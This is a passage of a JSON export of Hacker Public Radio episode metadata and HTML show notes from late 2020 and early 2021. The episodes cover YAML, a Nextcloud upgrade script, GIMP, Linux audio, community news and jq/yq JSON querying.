                                                            \nSometimes it's useful to convert your YAML to JSON so you can view the data structure in a different way. There are probably dozens of YAML-to-JSON converters out there, but here's the one I use: https://gitlab.com/slackermedia/yaml2json.git\n

                                                            \n\n

                                                            \nRun it:\n

                                                            \n\n
                                                            \n$ cat example.yaml\n---\npenguins:\n  - Gentoo\n  - Little Blue\n  - Rockhopper\ndragons:\n  - black\n  - white\n  - red\n$ ~/bin/yaml2json.py example.yaml\n{\"penguins\": [\"Gentoo\", \"Little Blue\", \"Rockhopper\"], \"dragons\": [\"black\", \"white\", \"red\"]}\n
                                                            \n\n

                                                            YAML police

                                                            \n\n

                                                            There are no YAML police. As long as yamllint finds no errors, your YAML is valid and can be parsed by any one of the dozens of YAML libraries out there. However, these YAML libraries aren't magical, so you must understand the internal logic of your own YAML data. Keep that in mind when devising a scheme for the data you're recording.\n

                                                            \n\n

                                                            YAML is a great method for creating configuration files, or storing simple data structures, and it's essential for Ansible playbooks.

                                                            \n\n

                                                            \nEnjoy!\n

                                                            \n\n","hostid":78,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"yaml,data,parse,lint,json","version":0,"downloads":0,"valid":1}, {"id":3229,"date":"2020-12-17","title":"Linux Inlaws S01E19: Redis","duration":4418,"summary":"Our two chaps interview Itamar Haber of Redis fame","notes":"

                                                            In this episode our two heroes interview Itamar Haber, community liaison for Redis, a popular open-source\nin-memory NoSQL database. Technology prevails in this episode; communism, free love and drugs\ntake a backseat (but only for the moment! :-). The trio discuss the legacy of redis, bemoan their old age\nand reveal why Itamar initially wanted to be a mermaid. Listen to the episode\nfor more shocking epiphanies!

                                                            \n
                                                            Shownotes:
                                                            \n\n\n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Redis, mermaids, communism, Israel","version":0,"downloads":0,"valid":1}, {"id":3230,"date":"2020-12-18","title":"Introduction to Layers","duration":1258,"summary":"Layers are the most important concept in using GIMP","notes":"

                                                            Layers are the feature that does most of the heavy lifting in GIMP. In this episode we begin looking at them with an introduction, but we'll go deeper!

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, layers","version":0,"downloads":0,"valid":1}, {"id":3231,"date":"2020-12-21","title":"USB Key","duration":120,"summary":"Turn a Thumb drive into a Key to lock/unlock your linux machine.","notes":"

                                                            Script and instruction at
                                                            \nhttps://james.toebesacademy.com/USBKey.html

                                                            \n
                                                              \n
                                                            • Combo of\n
                                                                \n
                                                              • Perl for Installation,
                                                              • \n
                                                              • ssh-keygen for key exchange.
                                                              • \n
                                                              • udev for actions
                                                              • \n
                                                              • bash for locking/unlocking/key checking.
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • udev add/remove/change events\n
                                                                \n
                                                              • add event does not allow access to drive
                                                              • \n
                                                              • change event was not allowing unlock.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Compromise was unlock, then lock if key check fails.

                                                            \n","hostid":273,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"security, usb","version":0,"downloads":0,"valid":1}, {"id":3232,"date":"2020-12-22","title":"Nextcloud","duration":1279,"summary":"Nextcloud is easy. You should try it.","notes":"

                                                            I've been running NextCloud since it was OwnCloud. In this episode, I encourage other people to install and run NextCloud. It's a great way to get out of the Google ecosystem, and it doesn't require much to set up or maintain.

                                                            \n\n

                                                            \nHere's the script I use to update one of the Nextcloud instances I maintain, running on a dirt-cheap VPS slice from Blue Host er something:

                                                            \n\n
                                                            \n#/test/before/using/bash\n# GNU All-Permissive License\n# Copying and distribution of this file, with or without modification,\n# are permitted in any medium without royalty provided the copyright\n# notice and this notice are preserved.  This file is offered as-is,\n# without any warranty.\n\nif [ \"${1}\" == \"--help\" ]; then\n    echo \"usage:\"\n    echo \"$0 https://path-to-nextcloud.bz2\"\n    echo \"WARNING: You MUST put your Nextcloud instance into maintenance mode first\"\n    exit\nfi\n\nset -e\n\n# get rid of the old Nextcloud tarball from the last time you upgraded\ntrash nextcloud*bz2 || true\n\n# get rid of old backups as long as they are empty of actual data\n[[ -e cloud/data ]] && trash cloud-deleteme\n\n#download the source tarball\nwget \"${1}\"\n\n#rename old cloud\nmv nextcloud cloud-deleteme\n\n# untar source\n# grab your data from old cloud\ntar xvf nextcloud*bz2 && mv cloud-deleteme/data/ nextcloud/\n\n# copy your config\ncp cloud-deleteme/config/config.php nextcloud/config/\n\n# enter the cloud\npushd nextcloud\n\n# perform upgrade\nphp ./occ upgrade\n\n# leave the cloud\npopd\n
                                                            \n\n

                                                            \nDon't use my upgrade script blindly, and please do test first. It works for my setup, but has been tested ONLY on my setup. Also, it doesn't put your Nextcloud instance into maintenance mode (probably because I wrote it before I knew Awk...), so you must do that manually.\n

                                                            \n\n

                                                            \nHappy hacking!\n

                                                            \n","hostid":78,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"cloud,nextcloud,owncloud,server","version":0,"downloads":0,"valid":1}, {"id":3233,"date":"2020-12-23","title":"HPR RPG Club reviews Shadowrun 5e","duration":3245,"summary":"Cyberpunk + Magic and a fistful of D6","notes":"

                                                            Beni, McNalu, Klaatu, and Philip review the Fifth Edition of the Shadowrun roleplaying game.\n

                                                            \n\n

                                                            For more information about Shadowrun, go to ShadowrunTabletop.com.\n

                                                            \n\n

                                                            \nQuickstart rules are available for $0 from drivethrurpg.com (this is Klaatu's affiliate link, granting him some n% of the $0 sale)\n

                                                            \n\n

                                                            Finally, you can find lots of great Shadowrun fiction on drivethrurpg.com in EPUB format.\n

                                                            \n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg,cyberpunk,HPR RPG Club","version":0,"downloads":0,"valid":1}, {"id":3234,"date":"2020-12-24","title":"Apple products I have owned","duration":1397,"summary":"I talk about Apple products that I have owned over the years","notes":"
                                                              \n
                                                            • 30\" Apple Cinema Display 2560x1600
                                                            • \n
                                                            • 160 GB iPod Classic
                                                            • \n
                                                            • IPad 3
                                                            • \n
                                                            • Mac Pro 1.1
                                                            • \n
                                                            • iPhone 4s
                                                            • \n
                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"apple, technology, Mac, OS X,iOS","version":0,"downloads":0,"valid":1}, {"id":3235,"date":"2020-12-25","title":"Soldering Tips","duration":487,"summary":"What little I know about the topic you will learn","notes":"

                                                            \nA follow up show in the vein of hpr3016 :: Nixie tube clock and friends!. Also be sure to remove batteries from electronics in storage.

                                                            ","hostid":36,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"Solder,Soldering,Electronics","version":0,"downloads":0,"valid":1}, {"id":3236,"date":"2020-12-28","title":"The State of Linux Audio Apps in 2020","duration":3101,"summary":"Patrick Davila and Claudio Miranda discuss the current state of Linux Audio Application in 2020","notes":"

                                                            Pat and Claudio discuss the current state of Linux audio applications in 2020. The primary focus is applications to create music. We discuss Linux sound servers (Pulse, ALSA and Jack). Software synthesizers available in Linux. Midi, sequencers and drum machines. Digital Audio Workstation applications. Impulse Responses for guitar and bass speaker emulation. Commercial vendors that support the Linux platform. Music equipment vendors that use Linux as the basis of their products.

                                                            \n\n

                                                            \n
                                                            \nThis page has been around for years. Some links might be stale or dead.
                                                            \nhttps://linux-sound.org/
                                                            \n
                                                            \nSome of the sound fonts I've used:
                                                            \nhttps://midkar.com/soundfonts/
                                                            \nhttps://www.pvv.org/~hammer
                                                            \nhttps://www.michaelpichermusic.com/sample-libraries
                                                            \n
                                                            \nMIDI/Music software discussed:
                                                            \nJACK (JACK Audio Connection Kit)
                                                            \nhttps://jackaudio.org/
                                                            \nQtractor
                                                            \nhttps://qtractor.sourceforge.io/
                                                            \nArdour
                                                            \nhttps://ardour.org/
                                                            \nReaper
                                                            \nhttps://www.reaper.fm/index.php
                                                            \nCarla
                                                            \nhttps://kx.studio/Applications:Carla
                                                            \nDuality Bass
                                                            \nhttps://audio-assault.com/duality.php
                                                            \n
                                                            \nMy Soundcloud page.
                                                            \nhttps://www.soundcloud.com/claudiom72
                                                            \n
                                                            \nOpen source synthesizers:
                                                            \nhttps://www.moddevices.com/
                                                            \nhttps://www.linuxsynths.com/
                                                            \nhttps://en.wikipedia.org/wiki/Korg_OASYS (Finally found that hardware Linux-based synth.)
                                                            \nhttps://synthesia.sourceforge.net/
                                                            \nhttps://zynthian.org/ (Don't remember if this was mentioned, but here it is. :-p)
                                                            \n
                                                            \nPipewire
                                                            \nhttps://pipewire.org/
                                                            \n
                                                            \nunfa
                                                            \nhttps://www.youtube.com/channel/UCAYKj_peyESIMDp5LtHlH2A\n

                                                            ","hostid":11,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Audio, music, recording, DAW, Ardour, Jack, Pulse, ALSA, Hydrogen, Odin2, Qtractor, Carla, VST","version":0,"downloads":0,"valid":1}, {"id":3237,"date":"2020-12-29","title":"Cloning a Hard Drive with Clonezilla","duration":1057,"summary":"I had some hard drive failures recently and am getting back to the habit of cloning for backups.","notes":"

                                                            I sneak back into the HPR community with an episode about cloning the hard drive on my laptop for a backup after some recent catastrophic drive failures.

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"clonezilla, backups, hard drives, cloning","version":0,"downloads":0,"valid":1}, {"id":3238,"date":"2020-12-30","title":"Linux Inlaws S01E20: The Xmas and New Year Special","duration":5978,"summary":"An episode on the past, present and future not just on FOSS - all will be explained","notes":"\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"past, present, future, artificial intelligence, b-sides, ibm, microsoft, you fill in the rest","version":0,"downloads":0,"valid":1}, {"id":3239,"date":"2020-12-31","title":"New Community Project Proposal","duration":516,"summary":"Enigma discusses a project proposal called Hacker exchange","notes":"

                                                            Enigma discusses a project proposal called Hacker exchange, a proposed content sharing site that would aggregate audio/video and text based tutorials.

                                                            \n

                                                            Come chat about this project on irc.freenode.net #hackerexchange

                                                            ","hostid":39,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hpr, community_projects, ddp, binrev","version":0,"downloads":0,"valid":1}, {"id":3240,"date":"2021-01-01","title":"Linux Under Attack","duration":978,"summary":"A look at how malware is now targeting Linux, especially servers","notes":"

                                                            At one time most malware targeted Windows because it was the most popular OS, but as Linux has risen in popularity, particularly in the data center, it has become a target. We look at some of the recent attacks on Linux, and note some common features of the attacks. This then suggests some ways we can protect ourselves

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Linux, malware, ssh","version":0,"downloads":0,"valid":1}, {"id":3241,"date":"2021-01-04","title":"HPR Community News for December 2020","duration":4055,"summary":"HPR Volunteers Dave, ToeJet, and Ken talk about shows released and comments posted in December 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Pat from TLLTS.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3217Tue2020-12-01Sump MinionBrian in Ohio
                                                            3218Wed2020-12-02An introduction to DarktablePaul Quirk
                                                            3219Thu2020-12-03Linux Inlaws S01E18: Voice Recognition and Text to Speechmonochromec
                                                            3220Fri2020-12-04PixelFedAhuka
                                                            3221Mon2020-12-07HPR Community News for November 2020HPR Volunteers
                                                            3222Tue2020-12-08Musings about writing a book about the Odoo software suiteJeroen Baten
                                                            3223Wed2020-12-09My COVID year summaryMr. Young
                                                            3224Thu2020-12-10Adventures in Retrocomputing with the Mac PlusPaul Quirk
                                                            3225Fri2020-12-11Grill repairoperat0r
                                                            3226Mon2020-12-14Using taskwarrior to structurize your workJeroen Baten
                                                            3227Tue2020-12-15Fresh water Aquarium BasicsEnigma
                                                            3228Wed2020-12-16YAML basicsklaatu
                                                            3229Thu2020-12-17Linux Inlaws S01E19: Redismonochromec
                                                            3230Fri2020-12-18Introduction to LayersAhuka
                                                            3231Mon2020-12-21USB KeyToeJet
                                                            3232Tue2020-12-22Nextcloudklaatu
                                                            3233Wed2020-12-23HPR RPG Club reviews Shadowrun 5eklaatu
                                                            3234Thu2020-12-24Apple products I have ownedswift110
                                                            3235Fri2020-12-25Soldering Tipsoperat0r
                                                            3236Mon2020-12-28The State of Linux Audio Apps in 2020Pat from TLLTS
                                                            3237Tue2020-12-29Cloning a Hard Drive with ClonezillaJon Kulp
                                                            3238Wed2020-12-30Linux Inlaws S01E20: The Xmas and New Year Specialmonochromec
                                                            3239Thu2020-12-31New Community Project ProposalEnigma
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 15 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3218\n(2020-12-02) \"An introduction to Darktable\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2020-12-03:\n\"Another great show\"
                                                              • Comment 2:\nRay Arachelian on 2020-12-06:\n\"would have been useful to have this podcast as a video instead\"
                                                              • Comment 3:\nKen Fallon on 2020-12-08:\n\"Supporting Video\"

                                                              \n
                                                            • hpr3220\n(2020-12-04) \"PixelFed\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsesamemucho on 2020-12-05:\n\"A complete and conclusive report\"
                                                              • Comment 2:\nAhuka on 2020-12-05:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3223\n(2020-12-09) \"My COVID year summary\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian-in-ohio on 2020-12-12:\n\"compliment\"
                                                              • Comment 2:\nMr. Young on 2020-12-21:\n\"re: compliment\"

                                                              \n
                                                            • hpr3226\n(2020-12-14) \"Using taskwarrior to structurize your work\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2020-12-16:\n\"I like it but probably won't switch completely\"
                                                              • Comment 2:\nDave Morriss on 2020-12-20:\n\"Write a manual!\"

                                                              \n
                                                            • hpr3227\n(2020-12-15) \"Fresh water Aquarium Basics\"\nby Enigma.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2020-12-16:\n\"Pictures!\"

                                                              \n
                                                            • hpr3231\n(2020-12-21) \"USB Key\"\nby ToeJet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2020-12-29:\n\"Great technique\"

                                                              \n
                                                            • hpr3232\n(2020-12-22) \"Nextcloud\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthe pro on 2020-12-22:\n\"this is a nice group\"
                                                              • Comment 2:\nKen Fallon on 2020-12-22:\n\"Upgrade via the UI ?\"
                                                              • Comment 3:\nKevin O'Brien on 2020-12-23:\n\"Good inspiration!\"

                                                              \n
                                                            • hpr3236\n(2020-12-28) \"The State of Linux Audio Apps in 2020\"\nby Pat from TLLTS.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2020-12-28:\n\"Links for the Episode\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nWindigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 3 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3242,"date":"2021-01-05","title":"The eternal battle over how to run your chromebook is about to begin","duration":8865,"summary":"Squirrel VS ALIEN Chromebook discussions","notes":"

                                                            As usual, I have botched up the show notes where they make absolutely no sense and I fully expect the ENTIRE HUMAN COMMUNITY from HPR to attack me endlessly over my incompetence. They just keep forgetting that I'm a squirrel who lives in a magical forrest and not a human being and therefore does terrible show notes,

                                                            \n

                                                            There were so many issues brought up about chromebooks and chromiumOS that I could not prepare a detailed list of them all.

                                                            \n

                                                            This ENTIRE conversation was derived from the work found on GNU WORLD ORDER episode 383 for which you will find his show notes AS::: https://gnuworldorder.info/ \"Linux, Flatpaks, Android apps, and ChromiumOS on a Lenovo Chromebook.\"

                                                            \n

                                                            Now, if you don't like my show notes and you do like this aliens show notes, then may I suggest your anti-squirrel and you need to be sent to a de-programming camp for rehabilitation.

                                                            \n

                                                            Remember, squirrels represent planet earth.

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"chromebooks,chromiumOS,Opensource,Freesoftware,cloud computing","version":0,"downloads":0,"valid":1}, {"id":3243,"date":"2021-01-06","title":"Pictor - free and open radio astronomy","duration":2854,"summary":"Discussion with the people that created the Pictor radio telescope.","notes":"

                                                            In this show I talk with Apostolos and Vasilis who I met at FOSDEM 2020 about the Pictor radio telescope which they created and now maintain. Using free and open source software and hardware they have made a radio telescope that anyone can operate via a simple web page and which can return results to you within a minute or two. In fact you'll hear me get excited during the show when I realise this and submit an observation request, the results of which came back immediately and which you can see below.

                                                            \n

                                                            To date Pictor has performed 3,500 observations from over 700 users from all around the world. Additionally, the PICTOR web platform is now equipped with a 3.2m antenna, which is about 4 times more sensitive than the previous 1.5m antenna, so users can observe the radio sky for free with an even more sensitive instrument.

                                                            \n

                                                            On top of that, after 204 hours of integration time and over 3 TB of data, they have produced a Northern Sky Hydrogen (HI) Survey produced with the PICTOR Radio Telescope. This effort actually marks the very first radio-image obtained in Greece, shown here:

                                                            \n

                                                            Pictor all sky images of hydrogen in our galaxy
                                                            \n\"Pictor

                                                            \n

                                                            Here are the results of the observation I performed during the show. The body of the email pictor sent back to me confirms the observation I requested:

                                                            \n
                                                            Your observation has been carried out by PICTOR successfully!\nObservation name: mcnalu first try\nObservation datetime: 2020-12-08 12:40:09 (UTC+2)\nCenter frequency: 1420000000.0 Hz\nBandwidth: 2400000 Hz\nSample rate: 2400000 samples/sec\nNumber of channels: 2048\nNumber of bins: 100\nObservation duration: 10 sec\nObservation ID: 82937104\nYour observation's averaged spectrum, dynamic spectrum (waterfall) and Power vs Time plot are attached in this email as an image.\n
                                                            \n

                                                            And this is the plot attached to that email:

                                                            \n

                                                            Graphs showing raw and corrected radio spectra for mcnalu's observation request
                                                            \n\"Graphs

                                                            \n

                                                            Please do have a go at using Pictor and let us know how you got on by recording an HPR show.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"science,astronomy,hardware,radio,data","version":0,"downloads":0,"valid":1}, {"id":3244,"date":"2021-01-07","title":"Interview with Anco Scholte ter Horst CEO of Freedom Internet","duration":4223,"summary":"Could there be an ISP that wants free and open internet, for privacy, security and quality ?","notes":"

                                                            \nIn this interview with Anco Scholte ter Horst, CEO Freedom Internet, we discuss the history of Internet in the Netherlands. How inspired by the work as XS4All, a new ISP was founded with privacy, security and quality at its core.\n

                                                            \n

                                                            \nFrom: https://en.wikipedia.org/wiki/XS4ALL\n

                                                            \n

                                                            \nXS4ALL was sold to KPN in December 1998, but remained an independent subsidiary. In January 2019, KPN announced that it would eventually phase out the XS4ALL brand and continue operations under the KPN brand. A petition and a special action commission was started to try to revert this decision, the petition has been signed over 50,000 times, signatories include ex-board members and founders of XS4ALL. In November 2019 the committee launched a new company named Freedom Internet, meant to serve as an ideological successor to XS4ALL, and supported by a crowdfunding action that raised 2.5 million euro. Freedom Internet initially offers e-mail hosting, and is meant to roll out its first DSL connections in early 2020.\n

                                                            \n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Freedom.nl,xs4all,ISP,crowdfunding","version":0,"downloads":0,"valid":1}, {"id":3245,"date":"2021-01-08","title":"ELECTRICITY","duration":1843,"summary":"I talk about tips on ELECTRICITY","notes":"

                                                            An adhoc show in traffic, about how sockets and 3 way switches work.

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ELECTRICITY","version":0,"downloads":0,"valid":1}, {"id":3246,"date":"2021-01-11","title":"LXCast: freeing the Fairphone 3 (and many other phones) ","duration":1744,"summary":"We look at how to get a free smartphone operating system on the Fairphone 3 (and many other phones),","notes":"\n

                                                            How to install it on the FP3

                                                            \n
                                                              \n
                                                            • Install /e/ on FairPhone FP3 - FP3 | /e/ documentation

                                                            • \n
                                                            • Privacy ratings of apps: https://exodus-privacy.eu

                                                            • \n
                                                            • Alternative launchers:

                                                              \n
                                                                \n
                                                              • KISS launcher
                                                              • \n
                                                              • Simple launcher
                                                              • \n
                                                            • \n
                                                            • I recommended you add these apps:

                                                              \n
                                                                \n
                                                              • Antennapod - podcast client
                                                              • \n
                                                              • FairEmail or simple email
                                                              • \n
                                                              • Fennec (Firefox)
                                                              • \n
                                                              • Signal
                                                              • \n
                                                              • newpipe for watching youtube without being tracked
                                                              • \n
                                                            • \n
                                                            • Backup via adb is apparently broken | Not the fault of /e/!!

                                                            • \n
                                                            • You cannot simply flash a new recovery, such as TWRP, to flash images or backup, instead, you can use this method
                                                              \nhttps://twrp.me/fairphone/fairphone3.html

                                                            • \n
                                                            • Donate or become a member to keep the project going:
                                                              \nhttps://e.foundation/donate-2/

                                                            • \n
                                                            \n

                                                            Feel free to add any comments below!

                                                            \n

                                                            Theme Music: Jazzhar, \"Room with a View\" CC-BY-SA, check him out on Jamendo and on Free Music Archive

                                                            \n","hostid":285,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"LXCast, Smartphone, Android, Fairphone, FOSS","version":0,"downloads":0,"valid":1}, {"id":3247,"date":"2021-01-12","title":"Saturday Morning Automotive Routine","duration":1110,"summary":"I have developed a relaxing 10-step routine for keeping your car in running condition.","notes":"

                                                            The top ten are:

                                                            \n
                                                              \n
                                                            1. Gas
                                                            2. \n
                                                            3. Tires
                                                            4. \n
                                                            5. Battery
                                                            6. \n
                                                            7. Hoses/Belts
                                                            8. \n
                                                            9. Fluids
                                                            10. \n
                                                            11. External
                                                            12. \n
                                                            13. Review dates
                                                            14. \n
                                                            15. Schedule replacement parts
                                                            16. \n
                                                            17. Clean up
                                                            18. \n
                                                            19. Choose for car wash
                                                            20. \n
                                                            \n\n
                                                              \n
                                                            1. A treat!
                                                            2. \n
                                                            \n

                                                            Blog site: https://biblicaltrumpets.org

                                                            \n","hostid":389,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"system,lifehack,automotive,routine maintenance","version":0,"downloads":0,"valid":1}, {"id":3248,"date":"2021-01-13","title":"SARS-CoV-2 detection by PCR explanation","duration":1464,"summary":"This episode summarizes the process to detect the virus that causes COVID-19 by PCR","notes":"

                                                            Basic Process

                                                            \n
                                                              \n
                                                            1. Sample Collection
                                                            2. \n
                                                            3. Sample Transportation
                                                            4. \n
                                                            5. Nucleic Acid extraction and Purification
                                                            6. \n
                                                            7. Amplification and Detection
                                                            8. \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":300,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"PCR,COVID019","version":0,"downloads":0,"valid":1}, {"id":3249,"date":"2021-01-14","title":"Linux Inlaws S01E21: The Big Linux Inlaws Peep Show","duration":3165,"summary":"The two chaps go the full monty and reveal it all","notes":"\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Nudity, tracing, debugging, extended berkeley packet filter, weapons of math destruction","version":0,"downloads":0,"valid":1}, {"id":3250,"date":"2021-01-15","title":"GIMP: Getting Started With Layers","duration":952,"summary":"Mastering the basic tools of Layers in GIMP","notes":"

                                                            Layers are the feature that does most of the heavy lifting in GIMP. After our previous introduction, we start to get hands-on with the controls that let us work with Layers

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, layers","version":0,"downloads":0,"valid":1}, {"id":3251,"date":"2021-01-18","title":"Opposing Views on Alcohol","duration":1840,"summary":"Windigo and Mrs. Honeyhume discuss their views on alcohol","notes":"

                                                            I discuss the subject of alcohol with my partner of sixteen years, Mrs. Honeyhume. While we agree on many subjects, alcohol is not one of them.

                                                            \n

                                                            She believes alcohol is an important experience, one to be shared with friends, and I dislike nearly everything about it.

                                                            \n

                                                            We discuss what we like/dislike about alcohol, our histories with it, and present our personal anecdotal evidence.

                                                            ","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"alcohol","version":0,"downloads":0,"valid":1}, {"id":3252,"date":"2021-01-19","title":"Simple JSON querying tool (also YAML, and to a lesser extent XML)","duration":1137,"summary":"crvs talks about jq, yq and xq","notes":"

                                                            JSON

                                                            \n

                                                            Json is a cool little data serialization language, that allows you to easily and clearly demarcate blocks of data by nesting data structures such as lists (enclosed by square brackets) and key-value pairs or \"dictionaries\" (enclosed by curly braces). So that in the end you get something that looks like this

                                                            \n
                                                            {\n"first list" : [ "element1", "element2", {"element3" : "is another k-v pair", "but contains" : ["a" , "list", "of", "words"]}] ,\n"this value is a string" : "1" ,\n"and this is a number" : 23 ,\n"and floating point" :  1.413\n}
                                                            \n

                                                            Aside from:

                                                            \n
                                                              \n
                                                            • Lists are enclosed in [] and each element is separated by ,
                                                            • \n
                                                            • Key-value pair lists are enclosed in {} and have the key and value separated by : and each pair is separated by ,
                                                            • \n
                                                            • Keys have to strings quoted with double quotes
                                                            • \n
                                                            • Numbers may be left unquoted (but just in value fields)
                                                            • \n
                                                            \n

                                                            There are no restrictions to what you can do with JSON. Given how explicit the syntax is then, it makes for very easy parsing, and there are plenty of good parser out there. My favourite JSON parser is jq(1).

                                                            \n

                                                            A canonical representation of the JSON example above can easily be obtained with jq by simply calling jq '' file.json (or piping the file through stdin, or even putting the contents properly quoted as the second argument).

                                                            \n
                                                            {\n  "first list": [\n    "element1",\n    "element2",\n    {\n      "element3": "is another k-v pair",\n      "but contains": [\n        "a",\n        "list",\n        "of",\n        "words"\n      ]\n    }\n  ],\n  "this value is a string": "1",\n  "and this is a number": 23,\n  "and floating point": 1.413\n}
                                                            \n

                                                            You can also use jq in a shell script to obtain, for example the second element of the first list:

                                                            \n
                                                            $ jq '."first list"[1]' example.json\n"element2"
                                                            \n

                                                            So to get the value associated to a key you use the notation .key and to get the k-th element you use the notation [k-1]. To remove the quotes on the string you can use the -r flag which stands for raw output.

                                                            \n

                                                            jq(1) also gives you a few more functionalities that can be useful like getting the number of elements in a list with the length function.

                                                            \n
                                                            $ jq 'length'  example.json\n3\n$ jq '."first list"[2]."but contains" | length'\n4
                                                            \n

                                                            Another useful feature is getting the list of keys from a key-value pair list which can be done with the function keys

                                                            \n
                                                            $ jq '."first list"[2] | keys[]' example.json\n"but contains",\n"element3"
                                                            \n

                                                            The query language is much much more flexible than this, but for most cases this should be enough for simple configuration querying.

                                                            \n

                                                            YAML and XML??

                                                            \n

                                                            The yq project allows one to use the exact same syntax as jq to query, and emit (and therefore also transcode) yaml and XML, extending the usefulness of the query language.

                                                            \n

                                                            So for example looking at the previous file through yq gives:

                                                            \n
                                                            $ yq -y '' example.json\nfirst list:\n  - element1\n  - element2\n  - element3: is another k-v pair\n    but contains:\n      - a\n      - list\n      - of\n      - words\nthis value is a string: '1'\nand this is a number: 23\nand floating point: 1.413
                                                            \n

                                                            And the output of this can be of course queried with yq itself, or can be used to feed into whatever application requires a yaml input (I guess it lacks the triple dash at the top, but that is actually the only warning I get from passing that abomination to yamllint)

                                                            \n

                                                            Similarly xq can be used to query XML files with the same language. However, to emit these files from json you need to use yq -x like so:

                                                            \n
                                                            $ yq -x '' example2.json\n<file>\n  <first_list>element1</first_list>\n  <first_list>element2</first_list>\n  <first_list>\n    <element3>is another k-v pair</element3>\n    <but_contains>a</but_contains>\n    <but_contains>list</but_contains>\n    <but_contains>of</but_contains>\n    <but_contains>words</but_contains>\n  </first_list>\n  <this_value_is_a_string>1</this_value_is_a_string>\n  <and_this_is_a_number>23</and_this_is_a_number>\n  <and_floating_point>1.413</and_floating_point>\n</file>
                                                            \n

                                                            where the original (modified) file example2.json looks like:

                                                            \n
